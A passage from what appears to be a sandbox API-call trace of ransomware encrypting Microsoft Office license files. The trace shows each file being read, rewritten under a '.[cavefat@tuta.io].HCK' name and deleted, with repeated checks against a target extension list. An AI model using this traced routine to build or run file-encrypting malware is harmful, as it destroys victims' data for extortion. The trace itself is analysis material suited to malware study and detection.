(lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0235.969] GetLastError () returned 0x0 [0235.969] ReadFile (in: hFile=0x454, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x2d47, lpOverlapped=0x0) returned 1 [0235.971] WriteFile (in: hFile=0x3bc, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x2d50, lpOverlapped=0x0) returned 1 [0235.972] ReadFile (in: hFile=0x454, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0235.972] WriteFile (in: hFile=0x3bc, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x10a, lpOverlapped=0x0) returned 1 [0235.972] SetEndOfFile (hFile=0x3bc) returned 1 [0235.972] CloseHandle (hObject=0x3bc) returned 1 [0235.972] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.972] SetEndOfFile (hFile=0x454) returned 1 [0235.976] CloseHandle (hObject=0x454) returned 1 [0235.976] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0235.976] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ul-oob.xrm-ms")) returned 1 [0235.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0235.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0235.977] lstrlenW (lpString=".doc") returned 4 [0235.977] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0235.977] lstrlenW (lpString=".docx") returned 5 [0235.977] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0235.977] lstrlenW (lpString=".pdf") returned 4 [0235.977] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0235.977] lstrlenW (lpString=".xls") returned 4 [0235.977] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0235.977] lstrlenW (lpString=".xlsx") returned 5 [0235.977] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0235.977] lstrlenW (lpString=".ppt") returned 4 [0235.977] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0235.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0235.977] lstrlenW (lpString=".zip") returned 4 [0235.977] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0235.977] lstrlenW (lpString=".rar") returned 4 [0235.977] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0235.977] lstrlenW (lpString=".bz2") returned 4 [0235.978] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0235.978] lstrlenW (lpString=".7z") returned 3 [0235.978] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0235.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0235.978] lstrlenW (lpString=".dbf") returned 4 [0235.978] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0235.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0235.978] lstrlenW (lpString=".1cd") returned 4 [0235.978] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0235.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0235.978] lstrlenW (lpString=".jpg") returned 4 [0235.978] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0235.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0235.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0235.978] lstrlenW (lpString=".doc") returned 4 [0235.978] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0235.978] lstrlenW (lpString=".docx") returned 5 [0235.978] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0235.978] lstrlenW (lpString=".pdf") returned 4 [0235.978] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0235.978] lstrlenW (lpString=".xls") returned 4 [0235.978] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0235.978] lstrlenW (lpString=".xlsx") returned 5 [0235.978] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0235.978] lstrlenW (lpString=".ppt") returned 4 [0235.978] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0235.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0235.978] lstrlenW (lpString=".zip") returned 4 [0235.978] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0235.978] lstrlenW (lpString=".rar") returned 4 [0235.978] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0235.978] lstrlenW (lpString=".bz2") returned 4 [0235.978] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0235.978] lstrlenW (lpString=".7z") returned 3 [0235.978] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0235.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0235.978] lstrlenW (lpString=".dbf") returned 4 [0235.978] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0235.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0235.979] lstrlenW (lpString=".1cd") returned 4 [0235.979] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0235.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0235.979] lstrlenW (lpString=".jpg") returned 4 [0235.979] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0235.979] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0235.979] lstrlenW (lpString="AccessVL_KMS_Client-ppd.xrm-ms") returned 30 [0235.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0235.980] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=6794) returned 1 [0235.980] CloseHandle (hObject=0x454) returned 1 [0235.980] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ppd.xrm-ms")) returned 0x220 [0235.980] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0235.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0235.981] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.981] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0235.982] GetLastError () returned 0x0 [0235.982] ReadFile (in: hFile=0x454, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x1a8a, lpOverlapped=0x0) returned 1 [0235.983] WriteFile (in: hFile=0x3bc, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x1a90, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x1a90, lpOverlapped=0x0) returned 1 [0235.984] ReadFile (in: hFile=0x454, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0235.984] WriteFile (in: hFile=0x3bc, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x110, lpOverlapped=0x0) returned 1 [0235.984] SetEndOfFile (hFile=0x3bc) returned 1 [0235.984] CloseHandle (hObject=0x3bc) returned 1 [0235.984] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.984] SetEndOfFile (hFile=0x454) returned 1 [0235.986] CloseHandle (hObject=0x454) returned 1 [0235.986] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0235.987] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ppd.xrm-ms")) returned 1 [0235.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0235.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0235.988] lstrlenW (lpString=".doc") returned 4 [0235.988] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0235.988] lstrlenW (lpString=".docx") returned 5 [0235.988] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0235.988] lstrlenW (lpString=".pdf") returned 4 [0235.988] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0235.988] lstrlenW (lpString=".xls") returned 4 [0235.988] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0235.988] lstrlenW (lpString=".xlsx") returned 5 [0235.988] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0235.988] lstrlenW (lpString=".ppt") returned 4 [0235.988] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0235.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0235.988] lstrlenW (lpString=".zip") returned 4 [0235.988] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0235.988] lstrlenW (lpString=".rar") returned 4 [0235.988] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0235.988] lstrlenW (lpString=".bz2") returned 4 [0235.988] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0235.988] lstrlenW (lpString=".7z") returned 3 [0235.988] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0235.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0235.988] lstrlenW (lpString=".dbf") returned 4 [0235.988] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0235.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0235.988] lstrlenW (lpString=".1cd") returned 4 [0235.988] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0235.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0235.988] lstrlenW (lpString=".jpg") returned 4 [0235.988] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0235.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0235.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0235.988] lstrlenW (lpString=".doc") returned 4 [0235.988] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0236.138] lstrlenW (lpString=".docx") returned 5 [0236.138] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0236.138] lstrlenW (lpString=".pdf") returned 4 [0236.138] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0236.138] lstrlenW (lpString=".xls") returned 4 [0236.138] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0236.138] lstrlenW (lpString=".xlsx") returned 5 [0236.138] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0236.138] lstrlenW (lpString=".ppt") returned 4 [0236.138] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0236.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0236.138] lstrlenW (lpString=".zip") returned 4 [0236.138] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0236.138] lstrlenW (lpString=".rar") returned 4 [0236.138] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0236.138] lstrlenW (lpString=".bz2") returned 4 [0236.139] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0236.139] lstrlenW (lpString=".7z") returned 3 [0236.139] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0236.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0236.139] lstrlenW (lpString=".dbf") returned 4 [0236.139] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0236.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0236.139] lstrlenW (lpString=".1cd") returned 4 [0236.139] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0236.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0236.139] lstrlenW (lpString=".jpg") returned 4 [0236.139] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0236.139] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0236.139] lstrlenW (lpString="AccessVL_KMS_Client-ul-oob.xrm-ms") returned 33 [0236.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0236.276] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=11614) returned 1 [0236.276] CloseHandle (hObject=0x4c0) returned 1 [0236.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul-oob.xrm-ms")) returned 0x220 [0236.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0236.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0236.277] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.277] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0236.280] GetLastError () returned 0x0 [0236.280] ReadFile (in: hFile=0x4c0, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x2d5e, lpOverlapped=0x0) returned 1 [0236.282] WriteFile (in: hFile=0x4a4, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x2d60, lpOverlapped=0x0) returned 1 [0236.283] ReadFile (in: hFile=0x4c0, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0236.283] WriteFile (in: hFile=0x4a4, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x116, lpOverlapped=0x0) returned 1 [0236.283] SetEndOfFile (hFile=0x4a4) returned 1 [0236.283] CloseHandle (hObject=0x4a4) returned 1 [0236.283] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.283] SetEndOfFile (hFile=0x4c0) returned 1 [0236.286] CloseHandle (hObject=0x4c0) returned 1 [0236.286] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0236.286] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul-oob.xrm-ms")) returned 1 [0236.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83 [0236.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83 [0236.287] lstrlenW (lpString=".doc") returned 4 [0236.287] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0236.287] lstrlenW (lpString=".docx") returned 5 [0236.287] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0236.287] lstrlenW (lpString=".pdf") returned 4 [0236.287] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0236.287] lstrlenW (lpString=".xls") returned 4 [0236.287] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0236.287] lstrlenW (lpString=".xlsx") returned 5 [0236.287] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0236.287] lstrlenW (lpString=".ppt") returned 4 [0236.287] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0236.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83 [0236.287] lstrlenW (lpString=".zip") returned 4 [0236.287] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0236.287] lstrlenW (lpString=".rar") returned 4 [0236.287] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0236.287] lstrlenW (lpString=".bz2") returned 4 [0236.287] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0236.287] lstrlenW (lpString=".7z") returned 3 [0236.287] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0236.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83 [0236.287] lstrlenW (lpString=".dbf") returned 4 [0236.287] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0236.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83 [0236.288] lstrlenW (lpString=".1cd") returned 4 [0236.288] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0236.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83 [0236.288] lstrlenW (lpString=".jpg") returned 4 [0236.288] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0236.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83 [0236.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83 [0236.288] lstrlenW (lpString=".doc") returned 4 [0236.288] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0236.288] lstrlenW (lpString=".docx") returned 5 [0236.288] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0236.288] lstrlenW (lpString=".pdf") returned 4 [0236.288] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0236.288] lstrlenW (lpString=".xls") returned 4 [0236.288] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0236.288] lstrlenW (lpString=".xlsx") returned 5 [0236.288] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0236.288] lstrlenW (lpString=".ppt") returned 4 [0236.288] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0236.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83 [0236.288] lstrlenW (lpString=".zip") returned 4 [0236.288] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0236.288] lstrlenW (lpString=".rar") returned 4 [0236.288] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0236.288] lstrlenW (lpString=".bz2") returned 4 [0236.288] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0236.288] lstrlenW (lpString=".7z") returned 3 [0236.288] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0236.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83 [0236.288] lstrlenW (lpString=".dbf") returned 4 [0236.288] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0236.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83 [0236.288] lstrlenW (lpString=".1cd") returned 4 [0236.288] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0236.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83 [0236.288] lstrlenW (lpString=".jpg") returned 4 [0236.288] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0236.288] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0236.288] lstrlenW (lpString="AccessVL_KMS_Client-ul.xrm-ms") returned 29 [0236.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0236.289] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=9606) returned 1 [0236.289] CloseHandle (hObject=0x4c0) returned 1 [0236.289] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul.xrm-ms")) returned 0x220 [0236.289] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0236.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 